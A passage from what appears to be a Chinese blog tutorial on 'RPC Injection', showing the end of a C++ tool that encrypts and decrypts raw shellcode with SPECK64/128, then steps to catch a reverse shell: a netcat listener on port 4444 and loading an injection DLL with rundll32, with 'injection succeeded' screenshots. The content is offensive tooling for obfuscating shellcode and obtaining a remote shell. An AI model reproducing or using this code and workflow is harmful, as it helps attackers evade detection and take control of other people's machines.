        currentBlock[0] ^= prevCipher[0];
        currentBlock[1] ^= prevCipher[1];

        // 写回
        cipherBlocks[i * 2] = currentBlock[0];
        cipherBlocks[i * 2 + 1] = currentBlock[1];

        // 更新 prev
        prevCipher[0] = saveNextPrev[0];
        prevCipher[1] = saveNextPrev[1];
    }

    // 4. 移除 Padding
    std::vector<unsigned char> finalData = PKCS7Unpad(cipherData);

    WriteFile("decrypted_shellcode.bin", finalData);
    std::cout << "[+] Decrypted " << finalData.size() << " bytes.\n";
    std::cout << "[+] Saved to 'decrypted_shellcode.bin'. Check with IDA or HxD.\n";
}

int main() {
    // 初始化密钥
    uint64_t key[2];
    parseHexKey(KEY_STR, key);
    speckKeySchedule(key);

    std::cout << "=== SPECK64/128 Encryption Tool for RPC Injection ===\n";
    std::cout << "Key: " << KEY_STR << "\n\n";
    std::cout << "1. Encrypt (Raw Shellcode -> C++ Array)\n";
    std::cout << "2. Decrypt (Encrypted Bin -> Raw Shellcode)\n";
    std::cout << "Select mode (1/2): ";

    int choice;
    std::cin >> choice;

    if (choice == 1) {
        DoEncryption();
    }
    else if (choice == 2) {
        DoDecryption();
    }
    else {
        std::cout << "Invalid choice.\n";
    }

    system("pause");
    return 0;
}

4.连接shell

启动server

image

启动监听

nc  -lvvp 4444

测试机打开notepad,并主动加载dll

image

rundll32 "D:\Project\C++\RpcInjection\x64\Debug\RpcClient.dll",dllmain

注入成功

image

image

posted @ 2026-01-26 20:52  纸飞机低空飞行  阅读(4)  评论(0)    收藏  举报